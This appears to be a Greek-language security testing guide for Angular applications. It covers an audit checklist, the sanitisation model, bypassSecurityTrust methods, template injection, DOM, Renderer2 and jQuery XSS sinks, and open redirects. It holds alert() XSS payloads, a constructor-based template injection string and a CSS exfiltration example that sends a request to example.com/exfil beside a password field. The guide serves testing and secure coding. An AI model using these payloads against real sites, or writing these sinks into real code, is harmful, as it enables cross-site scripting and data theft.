Angular
Reading time: 19 minutes
The Checklist
Checklist from here.
- Το Angular θεωρείται ένα framework πλευράς πελάτη και δεν αναμένεται να παρέχει προστασία πλευράς διακομιστή
- Το sourcemap για τα scripts είναι απενεργοποιημένο στη ρύθμιση του έργου
- Η μη αξιόπιστη είσοδος χρήστη πάντα διαμεσολαβείται ή καθαρίζεται πριν χρησιμοποιηθεί σε πρότυπα
- Ο χρήστης δεν έχει έλεγχο πάνω σε πρότυπα πλευράς διακομιστή ή πλευράς πελάτη
- Η μη αξιόπιστη είσοδος χρήστη καθαρίζεται χρησιμοποιώντας ένα κατάλληλο πλαίσιο ασφαλείας πριν γίνει αξιόπιστη από την εφαρμογή
-
Οι μέθοδοι
BypassSecurity*
δεν χρησιμοποιούνται με μη αξιόπιστη είσοδο -
Η μη αξιόπιστη είσοδος χρήστη δεν μεταβιβάζεται σε κλάσεις Angular όπως
ElementRef
,Renderer2
καιDocument
, ή άλλες πηγές JQuery/DOM
What is Angular
Το Angular είναι ένα ισχυρό και ανοιχτού κώδικα framework front-end που διατηρείται από την Google. Χρησιμοποιεί TypeScript για να βελτιώσει την αναγνωσιμότητα του κώδικα και την αποσφαλμάτωση. Με ισχυρούς μηχανισμούς ασφαλείας, το Angular αποτρέπει κοινές ευπάθειες πλευράς πελάτη όπως XSS και ανοιχτές ανακατευθύνσεις. Μπορεί να χρησιμοποιηθεί και στην πλευρά του διακομιστή, καθιστώντας τις ασφαλιστικές παρατηρήσεις σημαντικές από και τις δύο πλευρές.
Framework architecture
Για να κατανοήσουμε καλύτερα τα βασικά του Angular, ας περάσουμε από τις βασικές του έννοιες.
Ένα κοινό έργο Angular συνήθως φαίνεται έτσι:
my-workspace/
├── ... #workspace-wide configuration files
├── src
│ ├── app
│ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│ │ ├── app.component.ts #defines the logic for the application's root component
│ │ ├── app.component.html #defines the HTML template associated with the root component
│ │ ├── app.component.css #defines the base CSS stylesheet for the root component
│ │ ├── app.component.spec.ts #defines a unit test for the root component
│ │ └── app-routing.module.ts #provides routing capability for the application
│ ├── lib
│ │ └── src #library-specific configuration files
│ ├── index.html #main HTML page, where the component will be rendered in
│ └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
Σύμφωνα με την τεκμηρίωση, κάθε εφαρμογή Angular έχει τουλάχιστον ένα συστατικό, το ριζικό συστατικό (AppComponent
) που συνδέει μια ιεραρχία συστατικών με το DOM. Κάθε συστατικό ορίζει μια κλάση που περιέχει δεδομένα και λογική της εφαρμογής και σχετίζεται με ένα HTML template που ορίζει μια προβολή που θα εμφανίζεται σε ένα στοχευμένο περιβάλλον. Ο διακοσμητής @Component()
αναγνωρίζει την κλάση αμέσως από κάτω του ως συστατικό και παρέχει το template και σχετικές μεταδεδομένες πληροφορίες που είναι συγκεκριμένες για το συστατικό. Το AppComponent
ορίζεται στο αρχείο app.component.ts
.
Τα Angular NgModules δηλώνουν ένα πλαίσιο μεταγλώττισης για ένα σύνολο συστατικών που είναι αφιερωμένο σε έναν τομέα εφαρμογής, μια ροή εργασίας ή ένα στενά σχετιζόμενο σύνολο δυνατοτήτων. Κάθε εφαρμογή Angular έχει ένα ριζικό module, που ονομάζεται συμβατικά AppModule
, το οποίο παρέχει τον μηχανισμό εκκίνησης που εκκινεί την εφαρμογή. Μια εφαρμογή συνήθως περιέχει πολλά λειτουργικά modules. Το AppModule
ορίζεται στο αρχείο app.module.ts
.
Το Angular Router
NgModule παρέχει μια υπηρεσία που σας επιτρέπει να ορίσετε μια διαδρομή πλοήγησης μεταξύ των διαφορετικών καταστάσεων εφαρμογής και ιεραρχιών προβολών στην εφαρμογή σας. Το RouterModule
ορίζεται στο αρχείο app-routing.module.ts
.
Για δεδομένα ή λογική που δεν σχετίζονται με μια συγκεκριμένη προβολή και θέλετε να μοιραστείτε μεταξύ των συστατικών, δημιουργείτε μια κλάση υπηρεσίας. Ο ορισμός μιας κλάσης υπηρεσίας προηγείται αμέσως από τον διακοσμητή @Injectable()
. Ο διακοσμητής παρέχει τα μεταδεδομένα που επιτρέπουν σε άλλους παρόχους να εισάγονται ως εξαρτήσεις στην κλάση σας. Η εξάρτηση εισαγωγής (DI) σας επιτρέπει να διατηρείτε τις κλάσεις συστατικών σας λιτές και αποδοτικές. Δεν ανακτούν δεδομένα από τον διακομιστή, δεν επικυρώνουν την είσοδο του χρήστη ή δεν καταγράφουν απευθείας στην κονσόλα; αναθέτουν τέτοιες εργασίες σε υπηρεσίες.
Ρύθμιση sourcemap
Το πλαίσιο Angular μεταφράζει αρχεία TypeScript σε κώδικα JavaScript ακολουθώντας τις επιλογές του tsconfig.json
και στη συνέχεια κατασκευάζει ένα έργο με τη ρύθμιση του angular.json
. Κοιτάζοντας το αρχείο angular.json
, παρατηρήσαμε μια επιλογή για να ενεργοποιήσουμε ή να απενεργοποιήσουμε ένα sourcemap. Σύμφωνα με την τεκμηρίωση του Angular, η προεπιλεγμένη ρύθμιση έχει ένα αρχείο sourcemap ενεργοποιημένο για τα scripts και δεν είναι κρυφό από προεπιλογή:
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}
Γενικά, τα αρχεία sourcemap χρησιμοποιούνται για σκοπούς αποσφαλμάτωσης καθώς αντιστοιχούν στα παραγόμενα αρχεία με τα αρχικά τους αρχεία. Επομένως, δεν συνιστάται η χρήση τους σε περιβάλλον παραγωγής. Εάν τα sourcemaps είναι ενεργοποιημένα, βελτιώνουν την αναγνωσιμότητα και βοηθούν στην ανάλυση αρχείων αναπαράγοντας την αρχική κατάσταση του έργου Angular. Ωστόσο, εάν είναι απενεργοποιημένα, ένας αναθεωρητής μπορεί να αναλύσει χειροκίνητα ένα συμπιεσμένο αρχείο JavaScript αναζητώντας αντιασφαλιστικά μοτίβα.
Επιπλέον, ένα συμπιεσμένο αρχείο JavaScript με ένα έργο Angular μπορεί να βρεθεί στα εργαλεία προγραμματιστή του προγράμματος περιήγησης → Πηγές (ή Αποσφαλμάτωσης και Πηγές) → [id].main.js. Ανάλογα με τις ενεργοποιημένες επιλογές, αυτό το αρχείο μπορεί να περιέχει την παρακάτω γραμμή στο τέλος //# sourceMappingURL=[id].main.js.map
ή μπορεί να μην την περιέχει, εάν η κρυφή επιλογή είναι ρυθμισμένη σε true. Παρ' όλα αυτά, εάν το sourcemap είναι απενεργοποιημένο για scripts, η δοκιμή γίνεται πιο περίπλοκη και δεν μπορούμε να αποκτήσουμε το αρχείο. Επιπλέον, το sourcemap μπορεί να ενεργοποιηθεί κατά την κατασκευή του έργου όπως ng build --source-map
.
Δεσμεύσεις δεδομένων
Η δέσμευση αναφέρεται στη διαδικασία επικοινωνίας μεταξύ ενός συστατικού και της αντίστοιχης προβολής του. Χρησιμοποιείται για τη μεταφορά δεδομένων προς και από το πλαίσιο Angular. Τα δεδομένα μπορούν να περαστούν με διάφορους τρόπους, όπως μέσω γεγονότων, παρεμβολής, ιδιοτήτων ή μέσω του μηχανισμού δέσμευσης δύο κατευθύνσεων. Επιπλέον, τα δεδομένα μπορούν επίσης να μοιραστούν μεταξύ σχετικών συστατικών (σχέση γονέα-παιδιού) και μεταξύ δύο άσχετων συστατικών χρησιμοποιώντας τη δυνατότητα Υπηρεσίας.
Μπορούμε να ταξινομήσουμε τη δέσμευση με βάση τη ροή δεδομένων:
- Πηγή δεδομένων προς στόχο προβολής (περιλαμβάνει παρεμβολή, ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ); μπορεί να εφαρμοστεί χρησιμοποιώντας
[]
ή{{}}
στο πρότυπο; - Στόχος προβολής προς πηγή δεδομένων (περιλαμβάνει γεγονότα); μπορεί να εφαρμοστεί χρησιμοποιώντας
()
στο πρότυπο; - Δύο κατευθύνσεων; μπορεί να εφαρμοστεί χρησιμοποιώντας
[()]
στο πρότυπο.
Η δέσμευση μπορεί να καλείται σε ιδιότητες, γεγονότα και ατομικά χαρακτηριστικά, καθώς και σε οποιοδήποτε δημόσιο μέλος μιας πηγής οδηγίας:
ΤΥΠΟΣ | ΣΤΟΧΟΣ | ΠΑΡΑΔΕΙΓΜΑΤΑ |
---|---|---|
Ιδιότητα | Ιδιότητα στοιχείου, Ιδιότητα συστατικού, Ιδιότητα οδηγίας | <img [alt]="hero.name" [src]="heroImageUrl"> |
Γεγονός | Γεγονός στοιχείου, Γεγονός συστατικού, Γεγονός οδηγίας | <button type="button" (click)="onSave()">Αποθήκευση |
Δύο κατευθύνσεων | Γεγονός και ιδιότητα | <input [(ngModel)]="name"> |
Ατομικό χαρακτηριστικό | Ατομικό χαρακτηριστικό (η εξαίρεση) | <button type="button" [attr.aria-label]="help">βοήθεια |
Κλάση | Ιδιότητα κλάσης | <div [class.special]="isSpecial">Ειδικό |
Στυλ | Ιδιότητα στυλ | <button type="button" [style.color]="isSpecial ? 'red' : 'green'"> |
Μοντέλο ασφάλειας Angular
Ο σχεδιασμός του Angular περιλαμβάνει κωδικοποίηση ή απολύμανση όλων των δεδομένων από προεπιλογή, καθιστώντας όλο και πιο δύσκολο να ανακαλυφθούν και να εκμεταλλευτούν ευπάθειες XSS σε έργα Angular. Υπάρχουν δύο διακριτές περιπτώσεις για την επεξεργασία δεδομένων:
- Παρεμβολή ή
{{user_input}}
- εκτελεί κωδικοποίηση ευαίσθητη στο πλαίσιο και ερμηνεύει την είσοδο του χρήστη ως κείμενο;
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
{{test}}
Αποτέλεσμα: <script>alert(1)</script><h1>test</h1>
2. Δέσμευση σε ιδιότητες, ατομικά χαρακτηριστικά, κλάσεις και στυλ ή [attribute]="user_input"
- εκτελεί απολύμανση με βάση το παρεχόμενο πλαίσιο ασφαλείας.
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHtml]="test"></div>
Αποτέλεσμα: <div><h1>test</h1></div>
Υπάρχουν 6 τύποι SecurityContext
:
None
;HTML
χρησιμοποιείται, όταν ερμηνεύεται η τιμή ως HTML;STYLE
χρησιμοποιείται, όταν δέσμευση CSS στην ιδιότηταstyle
;URL
χρησιμοποιείται για ιδιότητες URL, όπως<a href>
;SCRIPT
χρησιμοποιείται για κώδικα JavaScript;RESOURCE_URL
ως URL που φορτώνεται και εκτελείται ως κώδικας, για παράδειγμα, στο<script src>
.
Ευπάθειες
Παράκαμψη μεθόδων εμπιστοσύνης ασφαλείας
Ο Angular εισάγει μια λίστα μεθόδων για να παρακάμψει τη διαδικασία προεπιλεγμένης απολύμανσης και να υποδείξει ότι μια τιμή μπορεί να χρησιμοποιηθεί με ασφάλεια σε ένα συγκεκριμένο πλαίσιο, όπως στα παρακάτω πέντε παραδείγματα:
bypassSecurityTrustUrl
χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL στυλ:
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Κάνε κλικ σε μένα</a>
//αποτέλεσμα
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Κάνε κλικ σε μένα</a>
bypassSecurityTrustResourceUrl
χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι μια ασφαλής διεύθυνση URL πόρου:
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");
//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>
//αποτέλεσμα
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
bypassSecurityTrustHtml
χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλές HTML. Σημειώστε ότι η εισαγωγή στοιχείωνscript
στο δέντρο DOM με αυτόν τον τρόπο δεν θα προκαλέσει την εκτέλεση του περιεχόμενου JavaScript κώδικα, λόγω του τρόπου που προστίθενται αυτά τα στοιχεία στο δέντρο DOM.
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");
//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>
//αποτέλεσμα
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
bypassSecurityTrustScript
χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής JavaScript. Ωστόσο, βρήκαμε ότι η συμπεριφορά της είναι απρόβλεπτη, επειδή δεν μπορέσαμε να εκτελέσουμε κώδικα JS σε πρότυπα χρησιμοποιώντας αυτή τη μέθοδο.
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");
//app.component.html
<script [innerHtml]="trustedScript"></script>
//αποτέλεσμα
-
bypassSecurityTrustStyle
χρησιμοποιείται για να υποδείξει ότι η δεδομένη τιμή είναι ασφαλής CSS. Το παρακάτω παράδειγμα απεικονίζει την εισαγωγή CSS:
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');
//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
//αποτέλεσμα
Request URL: GET example.com/exfil/a
Ο Angular παρέχει μια μέθοδο sanitize
για να απολυμαίνει δεδομένα πριν τα εμφανίσει σε προβολές. Αυτή η μέθοδος χρησιμοποιεί το παρεχόμενο πλαίσιο ασφαλείας και καθαρίζει την είσοδο αναλόγως. Είναι, ωστόσο, κρίσιμο να χρησιμοποιείται το σωστό πλαίσιο ασφαλείας για τα συγκεκριμένα δεδομένα και το πλαίσιο. Για παράδειγμα, η εφαρμογή ενός απολυμαντή με SecurityContext.URL
σε περιεχόμενο HTML δεν παρέχει προστασία από επικίνδυνες τιμές HTML. Σε τέτοιες περιπτώσεις, η κακή χρήση του πλαισίου ασφαλείας θα μπορούσε να οδηγήσει σε ευπάθειες XSS.
Εισαγωγή HTML
Αυτή η ευπάθεια συμβαίνει όταν η είσοδος του χρήστη δεσμεύεται σε οποιαδήποτε από τις τρεις ιδιότητες: innerHTML
, outerHTML
, ή iframe
srcdoc
. Ενώ η δέσμευση σε αυτά τα χαρακτηριστικά ερμηνεύει το HTML όπως είναι, η είσοδος απολυμαίνεται χρησιμοποιώντας SecurityContext.HTML
. Έτσι, είναι δυνατή η εισαγωγή HTML, αλλά η διασταυρούμενη σενάριο (XSS) δεν είναι.
Παράδειγμα χρήσης innerHTML
:
//app.component.ts
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}
//app.component.html
<div [innerHTML]="test"></div>
Template injection
Client-Side Rendering (CSR)
Το Angular εκμεταλλεύεται τα templates για να κατασκευάσει σελίδες δυναμικά. Η προσέγγιση περιλαμβάνει την τοποθέτηση εκφράσεων template για να αξιολογηθούν από το Angular μέσα σε διπλές αγκύλες ({{}}
). Με αυτόν τον τρόπο, το framework προσφέρει επιπλέον λειτουργικότητα. Για παράδειγμα, ένα template όπως το {{1+1}}
θα εμφανίζεται ως 2.
Συνήθως, το Angular διαφεύγει την είσοδο του χρήστη που μπορεί να συγχέεται με εκφράσεις template (π.χ., χαρακτήρες όπως `< > ' " ``). Αυτό σημαίνει ότι απαιτούνται επιπλέον βήματα για να παρακαμφθεί αυτός ο περιορισμός, όπως η χρήση συναρτήσεων που δημιουργούν αντικείμενα συμβολοσειρών JavaScript για να αποφευχθεί η χρήση αποκλεισμένων χαρακτήρων. Ωστόσο, για να το επιτύχουμε αυτό, πρέπει να λάβουμε υπόψη το πλαίσιο του Angular, τις ιδιότητές του και τις μεταβλητές. Επομένως, μια επίθεση template injection μπορεί να φαίνεται ως εξής:
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})
Όπως φαίνεται παραπάνω: constructor
αναφέρεται στο πεδίο της ιδιότητας Object constructor
, επιτρέποντάς μας να καλέσουμε τον κατασκευαστή String και να εκτελέσουμε αυθαίρετο κώδικα.
Server-Side Rendering (SSR)
Σε αντίθεση με το CSR, το οποίο συμβαίνει στο DOM του προγράμματος περιήγησης, το Angular Universal είναι υπεύθυνο για το SSR των αρχείων προτύπων. Αυτά τα αρχεία παραδίδονται στη συνέχεια στον χρήστη. Παρά αυτή τη διάκριση, το Angular Universal εφαρμόζει τους ίδιους μηχανισμούς απολύμανσης που χρησιμοποιούνται στο CSR για να ενισχύσει την ασφάλεια του SSR. Μια ευπάθεια εισαγωγής προτύπου στο SSR μπορεί να εντοπιστεί με τον ίδιο τρόπο όπως στο CSR, επειδή η χρησιμοποιούμενη γλώσσα προτύπων είναι η ίδια.
Φυσικά, υπάρχει επίσης η δυνατότητα εισαγωγής νέων ευπαθειών εισαγωγής προτύπων όταν χρησιμοποιούνται τρίτες μηχανές προτύπων όπως το Pug και το Handlebars.
XSS
DOM interfaces
Όπως αναφέρθηκε προηγουμένως, μπορούμε να έχουμε άμεση πρόσβαση στο DOM χρησιμοποιώντας τη διεπαφή Document. Εάν η είσοδος του χρήστη δεν επικυρωθεί εκ των προτέρων, μπορεί να οδηγήσει σε ευπάθειες cross-site scripting (XSS).
Χρησιμοποιήσαμε τις μεθόδους document.write()
και document.createElement()
στα παραδείγματα παρακάτω:
//app.component.ts 1
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}
//app.component.ts 2
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}
//app.component.ts 3
import { Component} from '@angular/core';
@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}
Angular classes
Υπάρχουν μερικές κλάσεις που μπορούν να χρησιμοποιηθούν για εργασία με στοιχεία DOM στο Angular: ElementRef
, Renderer2
, Location
και Document
. Μια λεπτομερής περιγραφή των τελευταίων δύο κλάσεων παρέχεται στην ενότητα Open redirects. Η κύρια διαφορά μεταξύ των πρώτων δύο είναι ότι το API Renderer2
παρέχει ένα επίπεδο αφαίρεσης μεταξύ του στοιχείου DOM και του κώδικα του συστατικού, ενώ το ElementRef
απλώς κρατά μια αναφορά στο στοιχείο. Επομένως, σύμφωνα με την τεκμηρίωση του Angular, το API ElementRef
θα πρέπει να χρησιμοποιείται μόνο ως έσχατη λύση όταν απαιτείται άμεση πρόσβαση στο DOM.
ElementRef
περιέχει την ιδιότηταnativeElement
, η οποία μπορεί να χρησιμοποιηθεί για να χειριστεί τα στοιχεία DOM. Ωστόσο, η ακατάλληλη χρήση τουnativeElement
μπορεί να οδηγήσει σε ευπάθεια XSS, όπως φαίνεται παρακάτω:
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
- Παρά το γεγονός ότι το
Renderer2
παρέχει API που μπορεί να χρησιμοποιηθεί με ασφάλεια ακόμη και όταν η άμεση πρόσβαση σε εγγενή στοιχεία δεν υποστηρίζεται, εξακολουθεί να έχει κάποιες αδυναμίες ασφαλείας. Με τοRenderer2
, είναι δυνατό να ορίσετε χαρακτηριστικά σε ένα στοιχείο HTML χρησιμοποιώντας τη μέθοδοsetAttribute()
, η οποία δεν έχει μηχανισμούς πρόληψης XSS.
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}
//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
- Για να ορίσετε την ιδιότητα ενός στοιχείου DOM, μπορείτε να χρησιμοποιήσετε τη μέθοδο
Renderer2.setProperty()
και να ενεργοποιήσετε μια επίθεση XSS:
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;
setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}
//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>
Κατά τη διάρκεια της έρευνάς μας, εξετάσαμε επίσης τη συμπεριφορά άλλων μεθόδων Renderer2
, όπως setStyle()
, createComment()
, και setValue()
, σε σχέση με XSS και CSS injections. Ωστόσο, δεν μπορέσαμε να βρούμε έγκυρους επιθετικούς διαδρόμους για αυτές τις μεθόδους λόγω των λειτουργικών περιορισμών τους.
jQuery
Το jQuery είναι μια γρήγορη, μικρή και πλούσια σε χαρακτηριστικά βιβλιοθήκη JavaScript που μπορεί να χρησιμοποιηθεί στο έργο Angular για να βοηθήσει με την επεξεργασία των αντικειμένων HTML DOM. Ωστόσο, όπως είναι γνωστό, οι μέθοδοι αυτής της βιβλιοθήκης μπορεί να εκμεταλλευτούν για να επιτευχθεί μια ευπάθεια XSS. Για να συζητήσουμε πώς ορισμένες ευάλωτες μέθοδοι jQuery μπορούν να εκμεταλλευτούν σε έργα Angular, προσθέσαμε αυτή την υποενότητα.
- Η μέθοδος
html()
αποκτά το HTML περιεχόμενο του πρώτου στοιχείου στο σύνολο των ταιριασμένων στοιχείων ή ορίζει το HTML περιεχόμενο κάθε ταιριασμένου στοιχείου. Ωστόσο, κατά σχεδίαση, οποιοσδήποτε κατασκευαστής ή μέθοδος jQuery που δέχεται μια HTML συμβολοσειρά μπορεί δυνητικά να εκτελέσει κώδικα. Αυτό μπορεί να συμβεί με την εισαγωγή ετικετών<script>
ή τη χρήση HTML χαρακτηριστικών που εκτελούν κώδικα όπως φαίνεται στο παράδειγμα.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}
//app.component.html
<button>Click me</button>
<p>some text here</p>
- Η μέθοδος
jQuery.parseHTML()
χρησιμοποιεί εγγενείς μεθόδους για να μετατρέψει τη συμβολοσειρά σε ένα σύνολο κόμβων DOM, οι οποίοι μπορούν στη συνέχεια να εισαχθούν στο έγγραφο.
jQuery.parseHTML(data [, context ] [, keepScripts ])
Όπως αναφέρθηκε προηγουμένως, οι περισσότερες APIs jQuery που δέχονται HTML συμβολοσειρές θα εκτελούν σενάρια που περιλαμβάνονται στην HTML. Η μέθοδος jQuery.parseHTML()
δεν εκτελεί σενάρια στην αναλυθείσα HTML εκτός αν το keepScripts
είναι ρητά true
. Ωστόσο, είναι ακόμα δυνατό σε πολλές περιβάλλοντα να εκτελούνται σενάρια έμμεσα; για παράδειγμα, μέσω του χαρακτηριστικού <img onerror>
.
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}
//app.component.html
<button>Click me</button>
<p id="palias">some text</p>
Open redirects
DOM interfaces
Σύμφωνα με την τεκμηρίωση W3C, τα αντικείμενα window.location
και document.location
θεωρούνται ψευδώνυμα στους σύγχρονους περιηγητές. Γι' αυτό έχουν παρόμοια υλοποίηση ορισμένων μεθόδων και ιδιοτήτων, οι οποίες μπορεί να προκαλέσουν μια ανοιχτή ανακατεύθυνση και XSS DOM με επιθέσεις σχήματος javascript://
όπως αναφέρεται παρακάτω.
window.location.href
(καιdocument.location.href
)
Ο κανονικός τρόπος για να αποκτήσετε το τρέχον αντικείμενο τοποθεσίας DOM είναι χρησιμοποιώντας το window.location
. Μπορεί επίσης να χρησιμοποιηθεί για να ανακατευθύνει τον περιηγητή σε μια νέα σελίδα. Ως αποτέλεσμα, η κατοχή ελέγχου αυτού του αντικειμένου μας επιτρέπει να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
Η διαδικασία εκμετάλλευσης είναι πανομοιότυπη για τα παρακάτω σενάρια.
window.location.assign()
(καιdocument.location.assign()
)
Αυτή η μέθοδος προκαλεί το παράθυρο να φορτώσει και να εμφανίσει το έγγραφο στη διεύθυνση URL που καθορίζεται. Εάν έχουμε έλεγχο σε αυτή τη μέθοδο, μπορεί να είναι μια πηγή για μια επίθεση ανοιχτής ανακατεύθυνσης.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
window.location.replace()
(καιdocument.location.replace()
)
Αυτή η μέθοδος αντικαθιστά την τρέχουσα πηγή με αυτήν που βρίσκεται στη διεύθυνση URL που παρέχεται.
Αυτό διαφέρει από τη μέθοδο assign()
καθώς μετά τη χρήση του window.location.replace()
, η τρέχουσα σελίδα δεν θα αποθηκευτεί στο ιστορικό της συνεδρίας. Ωστόσο, είναι επίσης δυνατό να εκμεταλλευτούμε μια ευπάθεια ανοιχτής ανακατεύθυνσης όταν έχουμε έλεγχο σε αυτή τη μέθοδο.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
window.open()
Η μέθοδος window.open()
παίρνει μια διεύθυνση URL και φορτώνει την πηγή που προσδιορίζει σε μια νέα ή υπάρχουσα καρτέλα ή παράθυρο. Η κατοχή ελέγχου σε αυτή τη μέθοδο μπορεί επίσης να είναι μια ευκαιρία για να ενεργοποιήσουμε μια ευπάθεια XSS ή ανοιχτής ανακατεύθυνσης.
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}
Angular classes
- Σύμφωνα με την τεκμηρίωση του Angular, το Angular
Document
είναι το ίδιο με το DOM έγγραφο, που σημαίνει ότι είναι δυνατό να χρησιμοποιηθούν κοινοί διάδρομοι για το DOM έγγραφο για να εκμεταλλευτούμε ευπάθειες πελάτη στο Angular. Οι ιδιότητες και οι μέθοδοιDocument.location
μπορεί να είναι πηγές για επιτυχείς επιθέσεις ανοιχτής ανακατεύθυνσης όπως φαίνεται στο παράδειγμα:
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }
goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}
//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
- Κατά τη διάρκεια της φάσης έρευνας, εξετάσαμε επίσης την κλάση
Location
του Angular για ευπάθειες ανοιχτής ανακατεύθυνσης, αλλά δεν βρέθηκαν έγκυροι διάδρομοι. ΗLocation
είναι μια υπηρεσία Angular που μπορούν να χρησιμοποιήσουν οι εφαρμογές για να αλληλεπιδράσουν με την τρέχουσα διεύθυνση URL ενός περιηγητή. Αυτή η υπηρεσία έχει πολλές μεθόδους για να χειριστεί τη δεδομένη διεύθυνση URL -go()
,replaceState()
, καιprepareExternalUrl()
. Ωστόσο, δεν μπορούμε να τις χρησιμοποιήσουμε για ανακατεύθυνση σε εξωτερικό τομέα. Για παράδειγμα:
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';
@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}
Αποτέλεσμα: http://localhost:4200/http://google.com/about
- Η κλάση
Router
του Angular χρησιμοποιείται κυρίως για πλοήγηση εντός του ίδιου τομέα και δεν εισάγει καμία επιπλέον ευπάθεια στην εφαρμογή:
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]
Αποτέλεσμα: http://localhost:4200/https:
Οι παρακάτω μέθοδοι πλοηγούν επίσης εντός του πεδίου του τομέα:
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')
References
- Angular
- Angular Security: The Definitive Guide (Part 1)
- Angular Security: The Definitive Guide (Part 2)
